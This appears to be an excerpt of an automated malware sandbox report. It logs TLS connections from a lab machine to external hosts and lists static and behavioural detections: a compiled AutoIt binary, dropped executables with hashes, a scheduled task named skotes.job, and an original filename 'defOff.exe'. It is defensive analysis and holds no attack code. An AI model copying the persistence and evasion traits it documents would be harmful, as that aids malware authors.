Source: unknown Network traffic detected: HTTP traffic on port 62919 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62925 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62843
Source: unknown Network traffic detected: HTTP traffic on port 62854 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62871 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62901 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62821 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62943 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62920 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62854
Source: unknown Network traffic detected: HTTP traffic on port 62937 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62856
Source: unknown Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62914 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62891 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62948 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown Network traffic detected: HTTP traffic on port 62923 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62908
Source: unknown Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62901
Source: unknown Network traffic detected: HTTP traffic on port 62940 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62862
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62926 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62918
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62919
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown Network traffic detected: HTTP traffic on port 62912 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62912
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62913
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62914
Source: unknown Network traffic detected: HTTP traffic on port 62935 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62916
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62871
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown Network traffic detected: HTTP traffic on port 62843 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62921 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62946 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown Network traffic detected: HTTP traffic on port 62881 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62920
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62921
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62923
Source: unknown Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62925
Source: unknown Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62926
Source: unknown Network traffic detected: HTTP traffic on port 62932 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62908 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62927
Source: unknown Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62881
Source: unknown Network traffic detected: HTTP traffic on port 62837 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62918 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62939
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62819
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62932
Source: unknown Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62935
Source: unknown Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62937
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62938
Source: unknown Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62891
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown Network traffic detected: HTTP traffic on port 62819 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62930
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62927 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62944 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown Network traffic detected: HTTP traffic on port 62862 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62821
Source: unknown Network traffic detected: HTTP traffic on port 62913 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62943
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62823
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62944
Source: unknown Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62945
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62946
Source: unknown Network traffic detected: HTTP traffic on port 62938 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62948
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62930 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 62856 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62940
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50025 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50044 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62837 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62843 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62854 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62862 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62871 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62881 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62891 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62914 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:62916 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62920 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:62926 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:62927 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62938 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:62939 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:62946 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62945 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62943 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62944 version: TLS 1.2

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: dd62608cd9.exe, 0000000B.00000000.2291841633.0000000000D12000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_83526c1f-f
Source: dd62608cd9.exe, 0000000B.00000000.2291841633.0000000000D12000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_424dde0e-1
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: GVDV7NGS54W9A7T64.exe.0.dr Static PE information: section name:
Source: GVDV7NGS54W9A7T64.exe.0.dr Static PE information: section name: .idata
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name:
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name: .idata
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name: .idata
Source: skotes.exe.5.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: .idata
Source: 7f3598dc65.exe.6.dr Static PE information: section name:
Source: 7f3598dc65.exe.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: 606111e8b5.exe.6.dr Static PE information: section name:
Source: 606111e8b5.exe.6.dr Static PE information: section name: .rsrc
Source: 606111e8b5.exe.6.dr Static PE information: section name: .idata
Source: 606111e8b5.exe.6.dr Static PE information: section name:
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr Static PE information: section name:
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr Static PE information: section name: .idata
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name:
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name: .idata
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name:
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr Static PE information: section name:
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr Static PE information: section name: .idata
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name:
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name: .idata
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name:
PE file has a writeable .text section
Source: num[1].exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_01166000 4_2_01166000
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_01172C13 4_2_01172C13
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe 10582062C33D5D8478731C97DE4F2882F25332A603D048F4ADA7AAB4AF0730E4
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000003.1993660046.0000000005D4B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001225581.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2007050770.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2002206197.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001962207.0000000005D46000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000869671.0000000005D46000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998282442.0000000005F34000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001344875.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994078449.0000000005E9A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000749535.0000000005F8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2010374922.000000000595A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999133150.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995746198.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000000587.0000000005D51000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001590522.0000000005E75000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001713466.0000000005D47000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994597296.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996527681.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993821233.0000000005E8E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993584804.0000000005E91000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000388822.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2010944920.00000000058A2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2010625640.00000000058CE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2002737047.0000000005E83000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2004078286.0000000005D45000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996130633.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997920327.0000000005E36000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995976389.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998382542.0000000005D43000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997484977.0000000005E36000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995445766.0000000005D4B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000509063.0000000005D48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999770022.0000000005E56000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997254621.0000000005F17000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997367940.0000000005D50000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993232449.0000000005DEC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995350283.0000000005E17000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999898315.0000000005F6C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997805304.0000000005D42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999635799.0000000005D46000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000128717.0000000005E62000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001465946.0000000005D4C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998876318.0000000005F50000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000628171.0000000005E65000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993105894.00000000059A4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000987016.0000000005E65000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000260274.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2005620242.0000000005EA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998620311.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
